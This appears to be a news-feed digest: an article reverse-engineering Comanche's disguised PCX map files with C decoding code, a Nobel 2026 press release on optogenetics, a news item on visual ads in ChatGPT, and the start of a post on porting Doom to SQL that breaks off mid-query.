Both grids are 1024×1024. That's exactly 1,048,576 bytes per map, or 1 MB. The color map uses 8-bit indexed color, so each byte is not an RGB value but an index into a 256-color palette. That's perfect for VGA mode 13h , which is also 256 colors.

Keep the number 1,048,576 in mind. If we find something that decompresses to exactly that size, we're on the right track.

Poking Around the Game Folder

The original game folder is a typical early-90s mess of 8.3 file names (8 characters for the name plus 3 characters for the file extension). In our case, we can see multiple .RLE files (probably sprites and sounds), .MIS files (likely for mission data), and a bunch of .DTA files. Among them, eight files immediately stand out because of their size:

Comanche C and D files

It looks like these files come in pairs, numbered 1 to 4 and using the prefix C and D .

My first guess is that C stands for "color" and D for "depth" (the height map). They're all smaller than 1 MB, so whatever is inside must be compressed.

When I'm reverse engineering a file format, the first thing I do is to use a hex editor to explore the first few bytes of the file. Here are the first bytes of C1.DTA :

Hex view of Comanche C1.DTA

The first eight bytes spell out Kyle DTA . That's a signature from Kyle Freeman himself, sitting at the top of every map file. It also looks like all four C files and all four D files start the same way.

The rest of the dump gives us three more clues:

  • At offset 0x08 we see ff 03 ff 03 . Read as 16-bit little-endian numbers, that's 1023 and 1023 , which is suspiciously close to 1024×1024.
  • At offset 0x42 we see 00 04 , which is 1024 .
  • The header seems to end at offset 0x80 (128). After a block of zeros, the data changes character completely.

Here's what comes right after the header in our file:

00000080: 01 02 c2 01 02 01 c5 03 01 02 01 03 01 02 c2 01  ................
00000090: 02 04 c2 02 01 02 01 03 c2 01 02 01 c7 03 02 04  ................

Notice how many bytes are C2 , C5 , or C7 , and how each one is followed by what looks like an ordinary small value. Well, if you've spent any time with DOS-era image formats, this should ring a bell.

A PCX in Disguise

A 128-byte header, image dimensions stored as maximum coordinates (1023 instead of 1024), and a stream of bytes where the top two bits are often set. Those are all fingerprints of PCX , the ZSoft Paintbrush format that was everywhere on DOS in the late 80s and early 90s.

ZSoft PC Paintbrush

ZSoft PC Paintbrush

Note: PCX stands for PiCture eXchange. It's an image file format developed by the now-defunct ZSoft Corporation of Marietta, Georgia, U.S. It was the native file format for PC Paintbrush and became one of the first widely accepted DOS imaging standards! Of course, it has since been succeeded by more sophisticated image formats, such as BMP, JPEG, and PNG. A PCX file commonly stores palette-indexed images ranging from 2 or 4 colors to 16 and 256 colors, although the format has been extended to record true-color (24-bit) images as well.

A normal PCX file starts with the byte 0x0A (the ZSoft "manufacturer" ID), followed by a version number, an encoding flag, and the bits per pixel. Then come four 16-bit coordinates: xmin , ymin , xmax , and ymax . Together, these first fields take exactly 8 bytes.

And it looks like that's exactly what NovaLogic did! They took a standard 8-bit PCX file and overwrote its first 8 bytes with the text Kyle DTA . Every other field is still in its usual place:

Offset Size PCX field Value in C1.DTA
0x00 8 manufacturer, version, encoding, bits per pixel, xmin, ymin replaced with Kyle DTA
0x08 2 xmax 1023
0x0A 2 ymax 1023
0x0C 4 horizontal and vertical DPI 1024, 768 (ignored)
0x10 48 16-color EGA palette unused
0x40 1 reserved 0
0x41 1 number of color planes 1
0x42 2 bytes per scan line 1024
0x44 60 palette info and padding zeros
0x80 ... compressed pixel data RLE stream

The width is xmax + 1 and the height is ymax + 1 , so 1024×1024. One plane at one byte per pixel means one 8-bit index per pixel, which is exactly what we were looking for.

Why hide a PCX file like this? We can only guess. Maybe it was to stop us from opening the maps in Deluxe Paint. Maybe it was simply a way for the loader to check that it had been handed the right kind of file.

The disguise is only skin deep, though. If you put back the 8 bytes of a standard PCX header ( 0a 05 01 08 00 00 00 00 ) and rename the file to .PCX , any image viewer that understands PCX will be able to open the map.

ZSoft PC Paintbrush opening the C1.DTA color map

ZSoft PC Paintbrush opening the C1.DTA color map

Fun fact : the DPI field isn't consistent across the files. C2.DTA says 800×600, and C3.DTA and C4.DTA say 1024×1024. Those values most likely just record the settings of whatever tool the artists saved them with.

Decoding the RLE Stream

The PCX file format uses one of the simplest compression schemes there is: run-length encoding (RLE).

If you ever took our NES Assembly Programming course, you probably remember decoding level data from the cartridge using RLE. The idea is pretty simple... instead of storing 05 05 05 05 05 05 05 , you store 07 05 ("seven copies of 05 "). We might expect terrain textures to have lots of neighboring pixels with the same value, so this can hopefully save a good amount of space. It's also very cheap to decode, which mattered on a 386 PC.

The rule for PCX is:

  • If the two top bits of a byte are set ( b >= 0xC0 ), the byte is a counter. Its lower six bits say how many times to repeat the byte that follows.
  • Otherwise, the byte is a literal pixel value and is copied as it is.

Let's decode the start of the data we saw before, 01 02 c2 01 02 01 c5 03 :

01      -> 01
02      -> 02
c2 01   -> 01 01            (0xC2 & 0x3F = 2 copies)
02      -> 02
01      -> 01
c5 03   -> 03 03 03 03 03   (0xC5 & 0x3F = 5 copies)

There's one catch worth mentioning! What if a single pixel has a value of 0xC0 or higher? The decoder would mistake it for a counter. The encoder avoids that by always writing those values as a run of one: C1 D7 means one pixel of value 0xD7 . Since a run can be at most 63 pixels long, you'll also see long stretches of the same color split into several runs.

In C, the whole decoder fits in a single loop. data holds the entire file, and we start reading right after the 128-byte header:

/*****************************************
* PCX run-length decoding routine
* Starts right after the 128-byte header
******************************************/
pos = 128;
n = 0;
while (n < total && pos < size) {
  unsigned char b = data[pos++];
  if ((b & 0xC0) == 0xC0) {
    int count = b & 0x3F;
    unsigned char value = data[pos++];
    while (count-- && n < total) {
      img->pixels[n++] = value;
    }
  } else {
    img->pixels[n++] = b;
  }
}

In the Comanche maps a run never continues from one row into the next, so we can decode the whole image as one long stream. After exactly 1,048,576 pixels, the loop stops, and that's the number we were hoping to see.

The Palette Hiding at the End

We have a million bytes of color indices, but indices into what ? The 48-byte palette in the header only has room for 16 colors, and the Comanche maps don't use it.

PCX version 5 added support for 256-color images by putting the palette at the very end of the file. The format is simple: a single marker byte 0x0C , followed by 256 RGB triplets (768 bytes). Our decoder stopped at exactly 1,048,576 pixels, and if you check how many bytes are left in the file at that point, the answer is 769 for every one of the eight maps. That's the marker plus the palette.

/***********************************
* 256-color palette: Marker 0x0C.
* Followed by 768 bytes at the end
************************************/
if (size >= 769 && data[size - 769] == 0x0C) {
  memcpy(img->palette, data + size - 768, 768);
}

One detail worth knowing if you plan to use these colors on real VGA hardware: PCX stores each component with 8 bits (0 to 255), but the VGA DAC only takes 6 bits per component (0 to 63). When you send this palette to ports 0x3C8 / 0x3C9 in mode 13h, shift each value right by 2 first.

One detail that was fun to find was that height map files also have a palette! It is not simply a gray ramp. It's a false-color palette split into bands of 16 shades each: blues, then oranges, and so on, with a gray band further up and magenta filling the unused entries. Open a D file in a paint program with this palette and you get a contour map, where each color band covers 16 height units. I'll try to confirm this with Kyle Freeman himself, but I can definitely see NovaLogic artists using exactly that view to paint and check their terrain files.

For our purposes we'll ignore the height palette and use a plain gray ramp instead, so that the pixel value is the height: black is the lowest point, and brighter means higher. The heights in the four maps only go from 0 to about 120, so the images will look quite dark. That's expected: the values are raw altitudes, not a picture meant to be looked at.

Writing an 8-bit BMP

Well, after we understand the PCX format, creating a BMP version of the files should be easy enough.

Now that we have pixels and a palette in memory, we need to save them in a format that modern tools understand. I'll use BMP , because an uncompressed 8-bit BMP is about the easiest image format you can write by hand: two small headers, a palette, and the raw pixels.

The structure looks like this:

Part Size Contents
BITMAP FILEHEADER 14 bytes BM signature, file size, offset to the pixel data
BITMAP INFOHEADER 40 bytes width, height, 1 plane, 8 bits per pixel, no compression
Color table 256 × 4 bytes each color as blue, green, red, 0
Pixel data height × row size one byte per pixel, rows padded to a multiple of 4 bytes

There are three traps that catch everyone the first time:

  1. BMP stores colors as BGR , not RGB, and each color takes 4 bytes instead of 3.
  2. With a positive height, the rows are stored bottom-up : the last row of the image comes first in the file.
  3. Every field is little-endian . We'll write the bytes one at a time, so the code works the same on any CPU, whatever its byte order.

First, two helpers to write 16-bit and 32-bit values in little-endian order:

static void write_u16(FILE *f, unsigned int v) {
  fputc(v & 0xFF, f);
  fputc((v >> 8) & 0xFF, f);
}

static void write_u32(FILE *f, unsigned long v) {
  write_u16(f, (unsigned int)(v & 0xFFFF));
  write_u16(f, (unsigned int)(v >> 16));
}

And here's the function that writes the whole file:

static int save_bmp(const char *filename, const image_t *img) {
  FILE *f;
  int i, y;
  unsigned long row_size = (img->width + 3) & ~3UL;    /* rows padded to 4 bytes */
  unsigned long pixel_offset = 14 + 40 + 256 * 4;
  unsigned long file_size = pixel_offset + row_size * img->height;

  f = fopen(filename, "wb");
  if (!f) {
    return 0;
  }

  /* BITMAPFILEHEADER (14 bytes) */
  fputc('B', f); fputc('M', f);
  write_u32(f, file_size);
  write_u32(f, 0);                 /* reserved */
  write_u32(f, pixel_offset);

  /* BITMAPINFOHEADER (40 bytes) */
  write_u32(f, 40);
  write_u32(f, img->width);
  write_u32(f, img->height);    /* positive = rows stored bottom-up */
  write_u16(f, 1);                 /* planes */
  write_u16(f, 8);                 /* bits per pixel */
  write_u32(f, 0);                 /* no compression */
  write_u32(f, row_size * img->height);
  write_u32(f, 2835);              /* 72 DPI */
  write_u32(f, 2835);
  write_u32(f, 256);               /* colors used */
  write_u32(f, 0);

  /* palette: BMP wants blue, green, red, reserved */
  for (i = 0; i < 256; i++) {
    fputc(img->palette[i * 3 + 2], f);
    fputc(img->palette[i * 3 + 1], f);
    fputc(img->palette[i * 3 + 0], f);
    fputc(0, f);
  }

  /* pixel rows, last row first */
  for (y = img->height - 1; y >= 0; y--) {
    unsigned long pad;
    fwrite(img->pixels + (long)y * img->width, 1, img->width, f);
    for (pad = img->width; pad < row_size; pad++) {
      fputc(0, f);
    }
  }
  fclose(f);
  return 1;
}

Our maps are 1024 pixels wide, which is already a multiple of 4, so the padding loop never runs. I kept it anyway so the function works for any width.

What About GIF?

The images we used in our original voxel space tutorial/code were GIFs . So, why not write a GIF directly? Because GIF compresses its pixels with the LZW method, and a correct LZW encoder with variable code sizes would be a whole article of its own.

A Bit of History : For most of the 90s, LZW was covered by a Unisys patent, and when Unisys announced royalties for it at the end of 1994, the reaction was big enough to give birth to the PNG format.

The good news is that we don't need it. Our BMP is 8-bit indexed with a 256-color palette, exactly like a GIF, so converting it loses nothing. Any tool like ImageMagick would do.

Putting It All Together

Let's glue everything into one small command-line tool. We'll store each decoded image in a simple struct:

typedef struct {
  int width, height;
  unsigned char *pixels;       /* width * height palette indices */
  unsigned char palette[768];  /* 256 RGB triplets, 8 bits each  */
} image_t;

The loader reads the whole file into memory, checks the Kyle DTA signature, reads the dimensions from the header, and then runs the RLE loop and the palette copy we saw earlier:

static unsigned int read_u16(const unsigned char *p) {
  return p[0] | (p[1] << 8);
}

static int load_dta(const char *filename, image_t *img) {
  FILE *f;
  long size, pos, n, total;
  unsigned char *data;

  f = fopen(filename, "rb");
  if (!f) {
    return 0;
  }
  fseek(f, 0, SEEK_END);
  size = ftell(f);
  fseek(f, 0, SEEK_SET);
  data = (unsigned char *)malloc(size);
  if (fread(data, 1, size, f) != (size_t)size || memcmp(data, "Kyle DTA", 8) != 0) {
    fclose(f);
    free(data);
    return 0;
  }
  fclose(f);
  img->width  = read_u16(data + 8)  + 1;   /* xmax + 1 */
  img->height = read_u16(data + 10) + 1;   /* ymax + 1 */
  total = (long)img->width * img->height;
  img->pixels = (unsigned char *)malloc(total);

  /* ... RLE decoding loop ... */
  /* ... palette copy ... */

  free(data);
  return 1;
}

Finally, main() takes a map number, converts both files of the pair, and swaps the height map's palette for a gray ramp:

int main(int argc, char *argv[]) {
  char in_name[256], out_name[256];
  image_t color, height;
  int map, i;

  if (argc < 2) {
    printf("usage: dta2bmp <map number 1-4>\n");
    return 1;
  }
  map = atoi(argv[1]);

  sprintf(in_name, "C%d.DTA", map);
  if (!load_dta(in_name, &color)) {
    printf("Could not read %s\n", in_name);
    return 1;
  }
  sprintf(out_name, "map%d_color.bmp", map);
  save_bmp(out_name, &color);

  sprintf(in_name, "D%d.DTA", map);
  if (!load_dta(in_name, &height)) {
    printf("Could not read %s\n", in_name);
    return 1;
  }
  for (i = 0; i < 256; i++) {      /* gray ramp: index = height */
    height.palette[i * 3 + 0] = (unsigned char)i;
    height.palette[i * 3 + 1] = (unsigned char)i;
    height.palette[i * 3 + 2] = (unsigned char)i;
  }
  sprintf(out_name, "map%d_height.bmp", map);
  save_bmp(out_name, &height);

  printf("map %d: %dx%d color + height maps saved\n", map, color.width, color.height);
  free(color.pixels);
  free(height.pixels);
  return 0;
}

The whole program is about 150 lines of plain ANSI C.

And here's the result for the first map, with the color map on the left and the height map on the right:

Comanche map 1 color map and height map

Comanche map 1: color map (left) and height map (right)

You can see how the two images line up: the rivers are the darkest valleys in the height map, and the brightest areas are the snowy mountain tops. Look at the top-left corner too. That square structure is part of a base painted directly into both maps, with the height raised to match. In Voxel Space, the buildings are part of the terrain.

Here are all four color map terrains from the original game:

The four Comanche color maps

The four color maps from the original 1992 Comanche

Checking Our Work

How do we know we got it right? We can compare our output with the maps that have been going around the internet for years, which are numbered from map0 . Our map 1 is map0 , map 2 is map1 , and so on.

  • The height map D1.DTA matches map0 byte for byte . The files have the same MD5 hash.
  • The color map C4.DTA gives exactly the same RGB colors as map3 on every pixel.

The other maps are almost identical. The differences are in the water: the versions going around online paint every lake and river with palette entries 251 to 254, which are probably used for color-cycling water animation. Some of their heights also differ by one unit. Our files come from the original 1992 release, so the online versions were most likely taken from a later edition of the game. It's a nice reminder that game data changed from release to release, even when the file names stayed the same.

How Were the Map Files Generated?

So how did Kyle Freeman create these maps in the first place? A magazine profile of him from July 1994 tells a little bit of the story. He first tried to build his worlds in a 3D modeling package, but even with detail levels set in the 5 to 6 million polygon range, the results didn't reach the level of realism he wanted. So he did what any good hacker would do: he wrote his own tools. Using programs of his own creation, Freeman sculpted the terrain by hand, "pushing the shapes around and molding the landscape as if it were clay."

Even then, he felt the result looked too soft and too artificial. His solution was to write a few more routines that would morph his voxel worlds by simulating a few million years of erosion, a few seismic disasters, and the constant pummeling of the weather. According to the article, each voxel in his tools stored more than just height and color. It also stored the density of the material at that point, for the rocks, the soil types, and the water. His erosion algorithms took that density into account, so soft soil washed away while hard rock stayed put, carving out the crevasses and valleys we still see in these maps today. None of that extra information made it into the .DTA files we decoded, though. By the time the maps shipped, all that geological work had been baked down into two simple 8-bit images: one byte of color and one byte of height per point.

Comanche Maximum Overkill image

According to Kyle Freeman himself, this terrain tool was probably as complex as the voxel space engine itself. The same techniques used to render the terrain at runtime were also used to generate posters and other marketing material.

Conclusion & Next Steps

When I started looking at these files, I half expected some clever custom compression, the kind of thing you'd expect from a studio that had just invented a new way of drawing terrain. Instead, the maps turned out to be plain PCX images with a signature pasted over the first 8 bytes.

I think that's the real lesson here. Programmers in the early 90s didn't reinvent everything. They used the formats and tools the artists already had, like PCX files straight out of a paint program, and saved their cleverness for the parts that really needed it: the renderer. And when you reverse engineer an old file format, the approach is almost always the same. Look at the first bytes, find anything that looks like a size or a count, and ask yourself which common format of the era it resembles.

Now that we have the maps as plain images, the fun part begins. Load them into your own Voxel Space renderer, or go all the way back to DOS and draw them in VGA mode 13h with the original 256-color palette, just like in 1992.

Voxel Space Renderer VGA mode 13h

My custom VGA mode 13h voxel space renderer

Spoiler : I am thinking of combining everything we covered so far and record a small course that covers how to implement a DOS-based voxel space renderer using VGA mode 13h. Let's see if that actually happens. 🤞

And that's it for our quick look inside the Comanche map files. If you have any suggestions for this article, you can yell at me on Twitter . Also, remember to visit the courses page to access my lectures on retro programming.

See you next time!


Press Release: Nobel Prize in Physiology or Medicine 2026

Hacker News
www.nobelprize.org
2026-10-05 06:35:59
Comments...
Original Article

Press release

English
English (pdf)
Swedish
Swedish (pdf)

Logotype Nobelförsamlingen

5 October 2026

The Nobel Assembly at Karolinska Institutet has decided to award the 2026 Nobel Prize in Physiology or Medicine jointly to:

KARL DEISSEROTH
The Howard Hughes Medical Institute and Stanford University, USA

PETER HEGEMANN
Humboldt University of Berlin, Germany

GEORG NAGEL
University of Würzburg, Germany

“for their discoveries concerning light-gated ion channels and optogenetics”

Light-seeking algae gave us a switch for nerve cells

The Nobel Prize in Physiology or Medicine 2026 is awarded for optogenetics — a method that makes it possible to show how nerve cells shape memories, feelings and behaviours in the living brain. Peter Hegemann and Georg Nagel discovered a remarkable protein, channelrhodopsin, in a single-celled alga. Karl Deisseroth transformed the protein into a light-controlled switch for nerve cells. The laureates have laid the foundation of a new era in neuroscience.

The Nobel Prize in Physiology or Medicine 2026 is awarded for optogenetics — a method that makes it possible to show how nerve cells shape memories, feelings and behaviours in the living brain. Peter Hegemann and Georg Nagel discovered a remarkable protein, channelrhodopsin, in a single-celled alga. Karl Deisseroth transformed the protein into a light-controlled switch for nerve cells. The Laureates have laid the foundation of a new era in neuroscience.

How the brain governs feelings, behaviours and bodily functions has long been a mystery. In the 20th century, researchers began to investigate which areas of the brain affect which functions, but the methods used meant they could not prove causal relationships. The image they developed of the brain was like a sketch map, full of question marks and unknowns. Now all this is changing.

“Optogenetics provides opportunities for mapping the brain in a way that we could once only dream of,” says Per Svenningsson, Chair of the Nobel Committee for Physiology or Medicine.

It all began with Peter Hegemann’s curiosity. He wondered how Chlamydomonas , a single-celled alga, is able to swim towards a light source. In the early 2000s, he and Georg Nagel discovered channelrhodopsin, an algal protein with unique properties, found on the surface of the cell. When it is illuminated by blue light, a channel opens through the protein. Charged ions then flow into the cell, creating an electrical impulse. They found that regardless of which cell they put the protein in, those cells became light sensitive.

Karl Deisseroth introduced the gene for channel-rhodopsin into nerve cells from rats. By illuminating the cells with blue light, he was able to trigger a nerve signal. He published this breakthrough in 2005. Two years later, he made this light-controlled switch for nerve cells work in the brains of living mice.

This method for controlling nerve signals with light is now called optogenetics, and it has rapidly gained global impact. Using optogenetics, researchers have been able to reveal neural circuits governing specific memories, feelings, and behaviours relevant for neurological and psychiatric disorders. In clinical medicine, researchers are using the method in attempts to restore sight in people with visual impairment.

Optogenetics has fundamentally altered our understanding of the brain. Every day brings new discoveries, helping to solve one of humanity’s great mysteries: how our incredible brain works.

Illustrations

The illustrations are free to use for non-commercial purposes. Attribute “© The Nobel Committee for Physiology or Medicine. Ill. Mattias Karlén”

Illustration: The Nobel Prize in Physiology or Medicine 2026 (jpg)
Illustration: The alga Chlamydomonas senses light using its eyespot (jpg)
Illustration: Chlamydomonas genes in frog eggs (jpg)
Illustration: Deisseroth introduced the gene encoding channelrhodopsin-2 into nerve cells (jpg)
Illustration: Deisseroth successfully activated nerve cells in the brains of living mice (jpg)
Illustration: Light sensitivity and rapid electrical response of the Chlamydomonas reinhardtii eyespot (jpg)
Illustration: Heterologous expression of channelrhodopsin-2 in Xenopus laevis oocytes (jpg)
Illustration: Optogenetic control of neuronal action potentials using light (jpg)
Illustration: In vivo optogenetics for control of animal behavior using light (jpg)

Read more about this year’s prize

Popular science background: A light-sensitive algal protein energised neuroscience (pdf)
Scientific background to the Nobel Prize in Physiology or Medicine 2026 (pdf)


Karl Deisseroth , born 1971. Ph.D. 1998 and MD 2000 from Stanford University, USA. D.H. Chen Professor, Professor of Bioengineering and of Psychiatry and Behavioral Sciences, at the Howard Hughes Medical Institute and Stanford University, USA.

Peter Hegemann , born 1954. Ph.D 1984 at the Max-Planck-Institute for Biochemistry, Martinsried, Germany. Hertie Senior Professor of Neuroscience, Humboldt University of Berlin, Germany. The prize awarded discoveries were made at the Max Planck Institute for Biochemistry, Martinsried, Germany

Georg Nagel , born 1953. Ph.D. 1988 at the University of Frankfurt, Germany. Professor of Molecular Plant Physiology at the Department for Molecular Plant Physiology and Biophysics – Botany I, University of Würzburg, Germany. The prize awarded discoveries were made at Max Planck Institute for Biophysics, Frankfurt, Germany.


Prize amount : 12 million Swedish kronor, to be shared equally between the laureates.
Further information : nobelprize.org
Press contact : Pernilla Witte, +46-8-524 86 107, [email protected] or Thomas Perlmann, [email protected] , Secretary-General, The Nobel Assembly at Karolinska Institutet.


Illustrations: © The Nobel Committee for Physiology or Medicine.


The Nobel Assembly, founded 1977, is the body at Karolinska Institutet that awards the Nobel Prize in Physiology or Medicine.

Nobel Prize® is the registered trademark of the Nobel Foundation

Don't miss the Nobel Prize announcements on 5–12 October. All announcements are streamed live here on nobelprize.org.

Watch the 2026 Nobel Prize announcements live

OpenAI will show visual ads in ChatGPT while you generate images

Bleeping Computer
www.bleepingcomputer.com
2026-10-05 06:28:45
OpenAI is expanding ads in ChatGPT, and one of the first new formats will show visual ads while you're generating images. [...]...
Original Article

ChatGPT

OpenAI is expanding ads in ChatGPT, and one of the first new formats will show visual ads while you're generating images.

The company says it will begin testing the new ad format later this month in the U.S. with an initial group of advertisers.

According to OpenAI, these ads could use images to show product inspiration, how a product is used, or experiences associated with a service, which gives advertisers a more visual way to promote themselves inside ChatGPT.

"Initially, we'll test this new ad format during image generation in ChatGPT. Ads will be clearly labeled, and remain separate from the image being created," OpenAI explained .

OpenAI also reiterated that ads do not influence ChatGPT's answers.

ChatGPT ad
ChatGPT showing visual ads

The company says ChatGPT now reaches 1.2 billion people every week, and advertising is becoming another way for OpenAI to make money from users who may not pay for a subscription.

OpenAI is also getting more serious about measuring ChatGPT ads

Alongside the new visual format, OpenAI is adding more tools that allow advertisers to measure whether ChatGPT ads actually lead to purchases or other conversions.

It's integrating with Hightouch, Tealium, and LiveRamp for conversion data, while attribution partners now include AppsFlyer, Adjust, Branch, Triple Whale, Kochava, and several others.

OpenAI is also working with DoubleVerify and Integral Ad Science on brand suitability, which is particularly important for ChatGPT because ads appear around conversations rather than a traditional webpage.

The company says its safeguards are designed to prevent ads from appearing in emotionally vulnerable, sensitive, or otherwise unsuitable conversations.

OpenAI also says these independent partners will not get access to private user conversations while evaluating whether its advertising safeguards are working as intended.

For now, the visual ad experiment is limited to the U.S., but OpenAI clearly sees ads becoming a much larger part of ChatGPT as it tries to monetize its 1.2 billion weekly users.

article image

Build your security blueprint for AI-powered attacks

Join Mikko Hyppönen and security leaders from the NFL, CHANEL, and Atlassian for a two-hour digital summit on what AI-speed attacks change, what defenders should stop doing, and how to validate, decide, fix, and re-validate at machine speed.

Save your seat

We ported the original Doom to SQL

Lobsters
cedardb.com
2026-10-05 06:27:06
Comments...
Original Article

dev September 22, 2026 • 25 minutes

The original Doom's game logic and renderer, both implemented as SQL queries. Oh, and deathmatch works as well!

TL;DR: We ported the original 1993 Doom’s game logic and renderer to SQL and ran it inside a database. The game loop runs at the original 35 FPS, while the renderer produces the complete 320x200 frame buffer at up to 60 Hz on my Laptop. Python only handles timing, reads the keyboard, and displays the bitmap it gets back. Multiplayer also works.

SQLDoom in action on an AMD Ryzen 7 7840U

You can play it right now Deathmatch, four slots, first come first served.

SQLDoom on 🇪🇺 EU Servers

SQLDoom on 🇺🇸 US Servers

It’s the shareware version of the first episode. If all seats are taken, you land in the queue. If the queue is full, you can still poke around and query live game state via SQL while you wait.

SQLDoom

Last year, I published DOOMQL [Github] . It rendered some ASCII-art roughly resembling Doom at 30 FPS and people liked it a lot. But some people correctly pointed out that it is a lot closer to Wolfenstein 3D than Doom, since it uses a raycasting approach. Doom, on the other hand, uses BSP trees , which make correct depth ordering cheap enough to afford textures, arbitrary wall angles, and varying floor heights.

Well I couldn’t let this rest and after some tinkering (you guessed it, parental leave again), I can finally present the real Doom running entirely in SQL.

One of these is the 1993 binary. The other is a SQL query. Can you figure out which is which?

One of these is the 1993 binary. The other is a SQL query. Can you figure out which is which?

The rules

Let’s first establish a few baseline rules about what we want to achieve:

  1. It should look like the real Doom. DOOMQL’s visual fidelity is pretty embarrassing in hindsight.
  2. But more importantly, it also should feel like the real Doom. The original game is just raw fun .
  3. The rendering must be purely SQL-based. The only acceptable SQL output is a table or a bitmap encoding exact RGB values for every pixel.
  4. The game loop must also be purely SQL-based. It’s okay to use user-defined-functions inside the DB, though.
  5. I’m allowed to write a client in another programming language, as long as it only takes care of parsing the input, driving the game tics, and rendering the output bitmap.

Architecture

Python is delibarately boring (Rule 5). A single script uses pygame to drive input, draw the output bitmap and trigger a game tic 35 times a second. Game logic, game state, and renderer live inside the database.

                         Python
                 input / timing / display
                    |              ^
                    |              |
          run game tic        request frame
                    |              |
                    v              |
          +----------------+  +----------------+
          |                |  |                |
          | SQL game logic |  |  SQL renderer  |
          |                |  |                |
          +-------+--------+  +--------+-------+
                  |                    ^
                  |                    |
                  v                    |
             +-----------------------------+
             |                             |
             |       game state tables     |
             |                             |
             +-----------------------------+

The two paths are intentionally separate: The game logic runs on a fixed 35 Hz loop, while the renderer is a pure function of the game state tables and the client can ask for a new frame whenever it wants (i.e., as fast and often as possible).

Loading the Game Data

Conveniently, Doom’s .wad file format is actually is highly relational already.

Two VERTEXES are connected by a LINEDEF , which has two SIDEDEF s. SIDEDEF bound a SECTOR which can have THINGS in them, you get the idea. Translating the whole WAD into a database was surprsingly straightforward and took about 1000 lines of Python. Importing all of Doom 1 takes about 18 seconds on my laptop.

For example, here’s a query rendering E1M1 from a bird’s eye view:

WITH wall AS (
  SELECT round((v1.x + (v2.x - v1.x) * t / 32.0) / 48) AS col, -- 48 units per column
         round((v1.y + (v2.y - v1.y) * t / 32.0) / 96) AS row, -- chars are 2:1
         l.left_sd_id < 0 AS solid -- one-sided lines are pass-through
  FROM linedefs l, generate_series(0, 32) AS t        -- walk each line in 32 steps
  JOIN vertexes v1 ON (v1.map_id, v1.id) = (l.map_id, l.v1_id)
  JOIN vertexes v2 ON (v2.map_id, v2.id) = (l.map_id, l.v2_id)
  WHERE l.map_id = 1
)
SELECT string_agg(CASE WHEN (col, row) IN (SELECT col, row FROM wall WHERE solid) THEN '#'
                       WHEN (col, row) IN (SELECT col, row FROM wall)             THEN '.'
                       ELSE ' ' END, '' ORDER BY col)
FROM generate_series(-16, 79) AS col, generate_series(-51, -21) AS row
GROUP BY row ORDER BY row DESC;

Output:

                                                 #####################
                                                 # ..................#
                                                 # . ......         .#
                                                 # . ...... ######  .#
                                              ######         .. ##  .#
                                          #####..  .         .. ##  ##
                                          #  ####### ...... ######  ##########
                                          # ##   # .                ###..  ..##
  ################                       ## #    ###.........######## #####.  ##
###  ........... #                ########..########.........###         #### .##     ######
#  ..           ##########     ####         ##                 ##        #..... #######    ##
#  .          #####  ... ##  ###   #.....#..##    ........      ##########..... ....##.#### ##
#  .     ###.###  ......  ###  .   .        ##  ...      ...             . ......     .#  ##  ##
#  .     ##..  .  ......  ##   .   .        ##  .           .            . ..........  ##  ## ##
#  .     ###.######  ...  ######   #.....#..##  ...        ..            #.    ... ..   # ## ##
#  .           ############    #            ..    ..........             #.......... ...# #  #
###.........     #             #####     #####                           ##..... ... ##.###  #
  ################                 #######   ####.........##.##........####### .#######  ### #
                                                 ###########.#################  #  ####  # # ##
                                                           #.#      ####......  #  # .   ### ##
                                                           #.#################  #  ###########
                                                           ####. .####       #..#
                                                              #####     ######..######
                                                                        #   .    ..  #
                                                                        #   ##...##  #
                                                                        #   ##   ##  #
                                                                        ######..######
                                                                             ####
                                                                             #####
                                                                             #.. #
                                                                             #####

The Game Loop

It was important to me to actually port Doom, not only render frames that vaguely look like it. Of course, the visuals play a big part in that, but Doom also just feels awesome to play. Take a look at the following scene which is rule 2 in action (me having fun):

Gibbing 3 soldiers with a rocket launcher

Gibbing 3 soldiers with a rocket launcher

As you can see, there is a lot going on. Just in this short clip we see:

  • Player input has to be polled and processed (walking, turning, shooting),
  • enemies walk and attack,
  • items are picked up,
  • the rocket launcher fires projectiles that move,
  • rocket explosions have a blast radius,
  • enemy sprites have to be rendered,
  • animations, view bobbing, and the HUD

And we don’t have a lot of time to process all of it: The original Doom ran on a fixed 35 Hz clock, so a tic has a budget of 1000 ms × 35 Hz = 28.6 ms . It also drew exactly one frame per tic, so it was capped at 35 FPS as well.

SQLDoom keeps the game logic at 35 Hz (so all the original constants still work), but decouples the drawing. The client can query (get it?) for a frame whenever it likes and we interpolate the camera position between tics. So there are two budgets we have to take care of:

  • Running a tic every 28.6 ms (or it will feel just completely wrong)
  • Rendering at least 35 frames a second (less is kind of okay, but won’t feel smooth)

The tic sequence

Game tics are inherently procedural. We have a sequence of things we have to do each time we run the tic. CedarDB has a scripting language called cedarscript , it closely resembles PL/pgSQL and allows us to plan beforehand what to do each tic.

Here is a small section of the tic function:

doom_cs_clock(map, p);
let mut plan = doom_cs_plan(map, p);    -- returns a bitmask of functions to trigger

let use_queued = doom_tic_use(map, p, plan);
if (plan & 2) <> 0 OR use_queued { active = doom_cs_activate_specials(map); }
if (plan & 4) <> 0 OR active <> 0 { doom_cs_doors(map, p); }

doom_tic_move(map, p);                  -- full movement, or just turning
doom_cs_death(map, p);                  -- process deaths

plan = doom_cs_plan(map, p);            -- the world moved; re-plan
plan = doom_tic_secrets(map, p, plan);  -- secrets, walkover lines, pickups
plan = doom_tic_weapon(map, p, plan);   -- weapon state, hitscan, damage
...
if sound_due { doom_cs_sound(map, p); } -- yes, we also play sounds
doom_cs_monsters(map, p);               -- always
doom_cs_sector_fx(map, p);              -- always
doom_cs_thing_physics(map);             -- always

The python driver from above calls SELECT doom_run_game_tic(...) every 1/35 second.

Each of those called functions then execute a batch of SQL statements. Below is a part of the state machine of the monster AI.

-- Abridged from sql/runtime/functions/26_cs_monsters.sql.
WITH RECURSIVE
  monsters AS ( [...] ),   -- who is alive, what kind, where
  los      AS ( [...] ),   -- visible, in_view_cone, dist: recursive, walks walls
  decision AS ( [...] ),   -- one row per actor: its state and what it can see
  transitions AS (
    SELECT d.*,
      CASE
        WHEN NOT d.alive AND d.state NOT IN ('die', 'dead', 'xdeath') THEN
          CASE WHEN d.health < -d.max_health AND d.xdeath_frame IS NOT NULL
               THEN 'xdeath'::actor_state ELSE 'die'::actor_state END -- GORY EXPLOSION!
        WHEN d.state = 'stand' THEN
          CASE WHEN d.visible AND d.in_view_cone AND d.dist <= sight_range
               THEN 'see'::actor_state ELSE 'stand'::actor_state END
        WHEN d.state_tics > 1 THEN d.state          -- animation still running
        WHEN d.state = 'see' THEN
